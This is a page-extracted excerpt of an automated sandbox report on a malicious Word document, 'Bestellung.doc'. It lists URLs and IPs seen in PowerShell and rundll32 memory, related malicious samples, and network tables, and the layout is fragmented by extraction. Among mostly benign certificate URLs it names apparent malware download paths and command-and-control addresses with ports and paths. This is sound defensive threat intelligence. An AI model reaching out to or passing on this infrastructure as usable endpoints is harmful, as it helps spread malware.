crl.chambersign.org/chambersignroot.crl0 powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.xrampsecurity.com/XGCA.crl0 powershell.exe, 00000005.00000
002.2095505629.00000000001CB00
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.quovadis.bm0 powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.trustdst.com/certificates/policy/ACES-index.html0 powershell.exe, 00000005.00000
002.2095505629.00000000001CB00
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.firmaprofesional.com0 powershell.exe, 00000005.00000
002.2095470892.000000000016400
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://www.netlock.net/docs powershell.exe, 00000005.00000
002.2095523344.00000000001FF00
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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crl.entrust.net/2048ca.crl0 powershell.exe, 00000005.00000
003.2095298060.000000001B49C00
0.00000004.00000001.sdmp

false high

www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
powershell.exe, 00000005.00000
003.2094871839.000000001CC8200
0.00000004.00000001.sdmp

false high

cps.chambersign.org/cps/publicnotaryroot.html0 powershell.exe, 00000005.00000
003.2095103092.000000001CC6800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.e-trust.be/CPS/QNcerts powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certicamara.com/certicamaraca.crl0 powershell.exe, 00000005.00000
003.2095042856.000000001CC5A00
0.00000004.00000001.sdmp

false high

www.msnbc.com/news/ticker.txt powershell.exe, 00000005.00000
002.2103838754.000000001CE4000
0.00000002.00000001.sdmp, rund
ll32.exe, 00000006.00000002.21
00282521.0000000001BD0000.0000
0002.00000001.sdmp, rundll32.exe, 
00000007.00000002.20991428
10.0000000002010000.00000002.0
0000001.sdmp, rundll32.exe, 00
000008.00000002.2100145610.000
0000002010000.00000002.0000000
1.sdmp

false high

https://jflmktg.wpcomstaging.com/wp-content/AK/ powershell.exe, 00000005.00000
002.2100518545.00000000039D400
0.00000004.00000001.sdmp

true Avira URL Cloud: malware unknown

crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

fedir.comsign.co.il/crl/ComSignCA.crl0 powershell.exe, 00000005.00000
003.2095103092.000000001CC6800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://jflmktg.wpcomsta powershell.exe, 00000005.00000
002.2100614327.0000000003B0D00
0.00000004.00000001.sdmp

true Avira URL Cloud: safe unknown

www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaC
AI.crl0

powershell.exe, 00000005.00000
002.2095505629.00000000001CB00
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

ocsp.entrust.net03 powershell.exe, 00000005.00000
003.2095288882.000000001B48800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

cps.chambersign.org/cps/chambersroot.html0 powershell.exe, 00000005.00000
003.2095103092.000000001CC6800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://shop.nowfal.dev powershell.exe, 00000005.00000
002.2100590447.0000000003AB600
0.00000004.00000001.sdmp

true Avira URL Cloud: malware unknown

https://ca.sia.it/seccli/repository/CPS0 powershell.exe, 00000005.00000
003.2095132892.000000001CCE300
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.securetrust.com/STCA.crl0 powershell.exe, 00000005.00000
002.2103658864.000000001CC9800
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaC
AIII.crl0

powershell.exe, 00000005.00000
002.2095505629.00000000001CB00
0.00000004.00000020.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.icra.org/vocabulary/. powershell.exe, 00000005.00000
002.2104020286.000000001D02700
0.00000002.00000001.sdmp, rund
ll32.exe, 00000006.00000002.21
00503288.0000000001DB7000.0000
0002.00000001.sdmp, rundll32.exe, 
00000007.00000002.20993726
18.00000000021F7000.00000002.0
0000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certicamara.com/certicamaraca.crl0; powershell.exe, 00000005.00000
003.2095042856.000000001CC5A00
0.00000004.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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investor.msn.com/ powershell.exe, 00000005.00000
002.2103838754.000000001CE4000
0.00000002.00000001.sdmp, rund
ll32.exe, 00000006.00000002.21
00282521.0000000001BD0000.0000
0002.00000001.sdmp, rundll32.exe, 
00000007.00000002.20991428
10.0000000002010000.00000002.0
0000001.sdmp, rundll32.exe, 00
000008.00000002.2100145610.000
0000002010000.00000002.0000000
1.sdmp

false high

www.valicert.com/1 powershell.exe, 00000005.00000
002.2103224125.000000001B3D400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.%s.comPA powershell.exe, 00000005.00000
002.2096093132.000000000245000
0.00000002.00000001.sdmp, rund
ll32.exe, 00000008.00000002.21
00938430.0000000002970000.0000
0002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

low

www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaC
AII.crl0

powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://ocsp.quovadisoffshore.com0 powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

ocsp.entrust.net0D powershell.exe, 00000005.00000
003.2095298060.000000001B49C00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://traumfrauen-ukraine.de/bin/JyeS/ powershell.exe, 00000005.00000
002.2100614327.0000000003B0D00
0.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

cps.chambersign.org/cps/chambersignroot.html0 powershell.exe, 00000005.00000
003.2095061790.000000001CCA400
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

ca.sia.it/secsrv/repository/CRL.der0J powershell.exe, 00000005.00000
003.2095042856.000000001CC5A00
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

investor.msn.com powershell.exe, 00000005.00000
002.2103838754.000000001CE4000
0.00000002.00000001.sdmp, rund
ll32.exe, 00000006.00000002.21
00282521.0000000001BD0000.0000
0002.00000001.sdmp, rundll32.exe, 
00000007.00000002.20991428
10.0000000002010000.00000002.0
0000001.sdmp, rundll32.exe, 00
000008.00000002.2100145610.000
0000002010000.00000002.0000000
1.sdmp

false high

https://sectigo.com/CPS0 powershell.exe, 00000005.00000
003.2095272033.000000001B46900
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.entrust.net/server1.crl0 powershell.exe, 00000005.00000
003.2095288882.000000001B48800
0.00000004.00000001.sdmp

false high

www.ancert.com/cps0 powershell.exe, 00000005.00000
003.2095067797.000000001CC9100
0.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation

Contacted IPs
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General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 344273

Start date: 26.01.2021

Start time: 10:48:08

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 9m 45s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Bestellung.doc

Cookbook file name: defaultwindowsofficecookbook.jbs

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

104.21.88.166 unknown United States 13335 CLOUDFLARENETUS true

70.32.89.105 unknown United States 398110 GO-DADDY-COM-LLCUS true

203.157.152.9 unknown Thailand 9649 MOPH-TH-
APInformationTechnologyOff
iceSG

true

45.138.97.75 unknown Germany 9009 M247GB true

132.248.38.158 unknown Mexico 278 UniversidadNacionalAutono
madeMexicoMX

true

172.217.6.174 unknown United States 15169 GOOGLEUS true

110.172.180.180 unknown India 18002 WORLDPHONE-
INASNumberforInterdomainR
outingIN

true

157.245.145.87 unknown United States 14061 DIGITALOCEAN-ASNUS true

192.0.78.20 unknown United States 2635 AUTOMATTICUS true

212.227.200.73 unknown Germany 8560 ONEANDONE-
ASBrauerstrasse48DE

true

190.55.186.229 unknown Argentina 27747 TelecentroSAAR true

161.49.84.2 unknown Philippines 17639 CONVERGE-
ASConvergeICTSolutionsInc
PH

true

Public
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Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, 
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, 
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 12

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
GSI enabled (VBA)
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winDOC@16/12@6/12

EGA Information: Successful, ratio: 80%

HDC Information: Successful, ratio: 8.5% (good quality ratio 8.1%)
Quality average: 72.1%
Quality standard deviation: 25.3%

HCA Information: Successful, ratio: 61%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.doc
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer

Warnings:
Exclude process from analysis (whitelisted): 
dllhost.exe, conhost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 
205.185.216.10, 205.185.216.42, 23.55.161.155, 
23.55.161.165, 23.55.161.158, 23.55.161.156, 
23.55.161.159, 23.55.161.169, 23.55.161.163, 
23.55.161.160, 23.55.161.164
Excluded domains from analysis (whitelisted): 
au.download.windowsupdate.com.edgesuite.net, 
audownload.windowsupdate.nsatc.net, 
au.download.windowsupdate.com.hwcdn.net, 
ctldl.windowsupdate.com, 
cds.d2s7q6s2.hwcdn.net, a767.dscg3.akamai.net, 
au-bg-shim.trafficmanager.net
Execution Graph export aborted for target 
powershell.exe, PID 2396 because it is empty
Report size getting too big, too many 
NtOpenKeyEx calls found.
Report size getting too big, too many 
NtQueryAttributesFile calls found.
Report size getting too big, too many 
NtQueryValueKey calls found.

Time Type Description

10:48:38 API Interceptor 1x Sleep call for process: msg.exe modified

10:48:38 API Interceptor 55x Sleep call for process: powershell.exe modified

10:48:46 API Interceptor 309x Sleep call for process: rundll32.exe modified

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context
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Match Associated Sample Name / URL SHA 256 Detection Link Context

104.21.88.166 N00048481397007.doc Get hash malicious Browse

Order.doc Get hash malicious Browse

N00048481397007.doc Get hash malicious Browse

203.157.152.9 Beauftragung.doc Get hash malicious Browse  203.157.1
52.9:7080/
1mknma6mw3
iwffexp2/

Reservierung.doc Get hash malicious Browse  203.157.1
52.9:7080/
6eve8qas5/
0i5mfaii/p
8bez9p65uc
19f4/grju6ta/

Beorderung.doc Get hash malicious Browse  203.157.1
52.9:7080/
xjj84/c3o6
r1ebhyxncr
9/9sjisuji
ufchwydnol
9/rkuxo00mhg/

Bestellung.doc Get hash malicious Browse  203.157.1
52.9:7080/
y4p99euagx
raa4zj/2wb
jd3933k44x
/1is5p89u2
lc009/atph
/h2r0ok8wa
30trloqlf9/

Inv DK448.doc Get hash malicious Browse  203.157.1
52.9:7080/
3lec7urzx7
5mbq0/jwg3
osdiklskv3/

Invoice S2517158.doc Get hash malicious Browse  203.157.1
52.9:7080/
nqu8y0186o
53/1aptxcp
bn3iz11tn/
ulw3e69cw2/

xichengkeji.top/classic-retro-
l8swk/3926bosets0n4/u2cfhti77-96

Get hash malicious Browse  203.157.1
52.9:7080/
m8k9od75wi
4wt2s131/l
dx9ip66uu7
zrrcv1qt/d
x6l/aupcsl
xxe4sj3op4
i/k3lns8t/

45.138.97.75 N00048481397007.doc Get hash malicious Browse  e-wdesign
.eu/wp-con
tent/bn1IgDejh/

132.248.38.158 #Uc1a1#Uc7a5-00612648.doc Get hash malicious Browse  132.248.3
8.158/yf2w
jcvi6/60rj
wltgcms8/

LKTD0004377.doc Get hash malicious Browse  132.248.3
8.158/y47s
4wbq5jdgmp/

Factura.doc Get hash malicious Browse  132.248.3
8.158/1ara
g0n/69481/
2soazke/ye
t0q2fu2qwgdp/

Rechnung.doc Get hash malicious Browse  132.248.3
8.158/6ztw
7ho3/p2d2b
0z/5hejpov
w88qdn3efd
cl/2zk1v2m
wr/2caf88a/

Beauftragung.doc Get hash malicious Browse  132.248.3
8.158/lchv
/7umw59pmb
jp9ig6/t90
nvqvsqy/jp
7io7c3iear
ir101/dngj5o2t5r/

IPs
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https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/251581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251581/html/none?idtype=webid
https://view.joesandbox.com/analysis/251577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251577/html/none?idtype=webid
https://view.joesandbox.com/analysis/251574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251574/html/none?idtype=webid
https://view.joesandbox.com/analysis/251572/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251572/html/none?idtype=webid
https://view.joesandbox.com/analysis/251571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251571/html/none?idtype=webid
https://view.joesandbox.com/analysis/250936/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250936/html/none?idtype=webid
https://view.joesandbox.com/analysis/250393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250393/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/257408/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257408/html/none?idtype=webid
https://view.joesandbox.com/analysis/257128/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257128/html/none?idtype=webid
https://view.joesandbox.com/analysis/257119/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257119/html/none?idtype=webid
https://view.joesandbox.com/analysis/257048/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257048/html/none?idtype=webid
https://view.joesandbox.com/analysis/257035/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257035/html/none?idtype=webid


Bericht.doc Get hash malicious Browse  132.248.3
8.158/mmpb
aeha08ev42
/0ngpi/e74k177/

172.217.6.174 N00048481397007.doc Get hash malicious Browse  nightlife
mumbai.clu
b/x/0wBD3/

Order.doc Get hash malicious Browse  nightlife
mumbai.clu
b/x/0wBD3/

N00048481397007.doc Get hash malicious Browse  nightlife
mumbai.clu
b/x/0wBD3/

Scan_Image_From_QUINNEY_&_ASSOCIATES.pdf Get hash malicious Browse  crl.pki.g
oog/GTSGIA
G3.crl

d5#U309a.doc Get hash malicious Browse  clients1.
google.com
/ocsp/MEkw
RzBFMEMwQT
AJBgUrDgMC
GgUABBTy4G
r5hYodjXCb
SRkjeqm1Gi
h%2BZAQUSt
0GFhu89mi1
dvWBtrtiGr
pagS8CCEbX
msCz9vTc

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

traumfrauen-ukraine.de N00048481397007.doc Get hash malicious Browse 212.227.200.73

N00048481397007.doc Get hash malicious Browse 212.227.200.73

e-wdesign.eu N00048481397007.doc Get hash malicious Browse 45.138.97.75

jflmktg.wpcomstaging.com N00048481397007.doc Get hash malicious Browse 192.0.78.20

N00048481397007.doc Get hash malicious Browse 192.0.78.20

shop.nowfal.dev N00048481397007.doc Get hash malicious Browse 104.21.88.166

Order.doc Get hash malicious Browse 104.21.88.166

N00048481397007.doc Get hash malicious Browse 104.21.88.166

nightlifemumbai.club N00048481397007.doc Get hash malicious Browse 172.217.6.174

Order.doc Get hash malicious Browse 172.217.6.174

N00048481397007.doc Get hash malicious Browse 172.217.6.174

Match Associated Sample Name / URL SHA 256 Detection Link Context

MOPH-TH-
APInformationTechnologyOfficeSG

Beauftragung.doc Get hash malicious Browse 203.157.152.9

Reservierung.doc Get hash malicious Browse 203.157.152.9

Beorderung.doc Get hash malicious Browse 203.157.152.9

Bestellung.doc Get hash malicious Browse 203.157.152.9

Inv DK448.doc Get hash malicious Browse 203.157.152.9

Invoice S2517158.doc Get hash malicious Browse 203.157.152.9

xichengkeji.top/classic-retro-
l8swk/3926bosets0n4/u2cfhti77-96

Get hash malicious Browse 203.157.152.9

GO-DADDY-COM-LLCUS RFQ.xlsx Get hash malicious Browse 198.71.232.3

bgJPIZIYby.exe Get hash malicious Browse 184.168.13
1.241

E4Q30tDEB9.exe Get hash malicious Browse 192.169.220.85

RevisedPO.24488_pdf.exe Get hash malicious Browse 107.180.34.198

02131.doc Get hash malicious Browse 166.62.28.133

mensaje_012021_1-538086.doc Get hash malicious Browse 198.71.233.47

Notice 8283393_829.doc Get hash malicious Browse 192.169.223.13

message_zdm.html Get hash malicious Browse 184.168.13
1.241

SAMSUNG C&T UPCOMING PROJECTS19-027-MP-0
10203.exe.exe

Get hash malicious Browse 107.180.25.166

79a2gzs3gkk.doc Get hash malicious Browse 166.62.10.32

davay (2).exe Get hash malicious Browse 207.38.89.115

davay.exe Get hash malicious Browse 207.38.89.115

Domains

ASN

Copyright null 2021 Page 21 of 56

https://view.joesandbox.com/analysis/256717/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256717/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/115386/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/115386/html/none?idtype=webid
https://view.joesandbox.com/analysis/102105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/102105/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/251581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251581/html/none?idtype=webid
https://view.joesandbox.com/analysis/251577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251577/html/none?idtype=webid
https://view.joesandbox.com/analysis/251574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251574/html/none?idtype=webid
https://view.joesandbox.com/analysis/251572/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251572/html/none?idtype=webid
https://view.joesandbox.com/analysis/251571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251571/html/none?idtype=webid
https://view.joesandbox.com/analysis/250936/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250936/html/none?idtype=webid
https://view.joesandbox.com/analysis/250393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250393/html/none?idtype=webid
https://view.joesandbox.com/analysis/258161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258161/html/none?idtype=webid
https://view.joesandbox.com/analysis/258110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258110/html/none?idtype=webid
https://view.joesandbox.com/analysis/258102/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258102/html/none?idtype=webid
https://view.joesandbox.com/analysis/257851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257851/html/none?idtype=webid
https://view.joesandbox.com/analysis/257846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257846/html/none?idtype=webid
https://view.joesandbox.com/analysis/257838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257838/html/none?idtype=webid
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid
https://view.joesandbox.com/analysis/257801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257801/html/none?idtype=webid
https://view.joesandbox.com/analysis/257779/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257779/html/none?idtype=webid
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257750/html/none?idtype=webid
https://view.joesandbox.com/analysis/257739/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257739/html/none?idtype=webid
https://view.joesandbox.com/analysis/257731/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257731/html/none?idtype=webid


message_zdm.html Get hash malicious Browse 184.168.13
1.241

INFO.doc Get hash malicious Browse 166.62.10.32

MES-2021_01_22-3943960.doc Get hash malicious Browse 166.62.10.32

Documento 2201 01279.doc Get hash malicious Browse 166.62.10.32

Shipping Document PL&BL Draft.exe Get hash malicious Browse 184.168.13
1.241

ANHANGUD135IMI2373.doc Get hash malicious Browse 166.62.28.114

Payment _Arabian Parts Co BSC#U00a9.exe Get hash malicious Browse 198.71.232.3

Arch 30 S_07215.doc Get hash malicious Browse 198.71.233.96

CLOUDFLARENETUS RFQ RPM202011-776JD.jpg.lnk Get hash malicious Browse 162.159.13
3.233

Revised-RBG-180129940.xlsx Get hash malicious Browse 162.159.13
4.233

COSU6283389840.xlsx Get hash malicious Browse 172.67.145.10

eTDAg77Nif.exe Get hash malicious Browse 162.159.13
4.233

hG8XQh9hMy.exe Get hash malicious Browse 172.67.142.109

IMG_1677.EXE Get hash malicious Browse 104.21.19.200

gPGTcEMoM1.exe Get hash malicious Browse 172.67.129.48

N00048481397007.doc Get hash malicious Browse 104.21.88.166

INGNhYonmgtGZ9Updf.exe Get hash malicious Browse 104.21.26.55

Quotation for T10495.exe Get hash malicious Browse 104.21.19.200

Monday, January 25, 2021 222135-ATT+72308645308805
6636775.htm

Get hash malicious Browse 104.16.18.94

Order.doc Get hash malicious Browse 104.21.88.166

SecuriteInfo.com.Heur.13954.xls Get hash malicious Browse 104.21.22.6

FileZilla_3.52.2_win64_sponsored-setup.exe Get hash malicious Browse 162.159.200.1

PAYMENT INFO.xlsx Get hash malicious Browse 104.16.18.94

PAYMENT INFO.xlsx Get hash malicious Browse 104.16.18.94

qp38gXDG87.exe Get hash malicious Browse 172.67.142.109

case_3499.xls Get hash malicious Browse 172.67.130.49

case.2991.xls Get hash malicious Browse 172.67.130.49

N00048481397007.doc Get hash malicious Browse 104.21.88.166

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

05af1f5ca1b87cc9cc9b25185115607d Revised-RBG-180129940.xlsx Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

N00048481397007.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

Order.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

SecuriteInfo.com.Heur.13954.xls Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

case_3499.xls Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

case.2991.xls Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

N00048481397007.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

info5440.xls Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

notif-3615.xls Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

notif6158.xls Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

INC_Y5KPAYAWWU7.doc Get hash malicious Browse 104.21.88.166
212.227.200.73
192.0.78.20

JA3 Fingerprints
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https://view.joesandbox.com/analysis/257699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257699/html/none?idtype=webid
https://view.joesandbox.com/analysis/257673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257673/html/none?idtype=webid
https://view.joesandbox.com/analysis/257587/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257587/html/none?idtype=webid
https://view.joesandbox.com/analysis/257581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257581/html/none?idtype=webid
https://view.joesandbox.com/analysis/257546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257546/html/none?idtype=webid
https://view.joesandbox.com/analysis/257532/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257532/html/none?idtype=webid
https://view.joesandbox.com/analysis/257526/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257526/html/none?idtype=webid
https://view.joesandbox.com/analysis/257500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257500/html/none?idtype=webid
https://view.joesandbox.com/analysis/258222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258222/html/none?idtype=webid
https://view.joesandbox.com/analysis/258191/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258191/html/none?idtype=webid
https://view.joesandbox.com/analysis/258185/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258185/html/none?idtype=webid
https://view.joesandbox.com/analysis/258122/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258122/html/none?idtype=webid
https://view.joesandbox.com/analysis/258120/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258120/html/none?idtype=webid
https://view.joesandbox.com/analysis/258114/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258114/html/none?idtype=webid
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/258082/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258082/html/none?idtype=webid
https://view.joesandbox.com/analysis/258073/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258073/html/none?idtype=webid
https://view.joesandbox.com/analysis/258055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258055/html/none?idtype=webid
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid
https://view.joesandbox.com/analysis/258040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258040/html/none?idtype=webid
https://view.joesandbox.com/analysis/258037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258037/html/none?idtype=webid
https://view.joesandbox.com/analysis/258015/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258015/html/none?idtype=webid
https://view.joesandbox.com/analysis/258009/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258009/html/none?idtype=webid
https://view.joesandbox.com/analysis/258000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258000/html/none?idtype=webid
https://view.joesandbox.com/analysis/257998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257998/html/none?idtype=webid
https://view.joesandbox.com/analysis/257995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257995/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/258191/html/none?idtype=webid#static
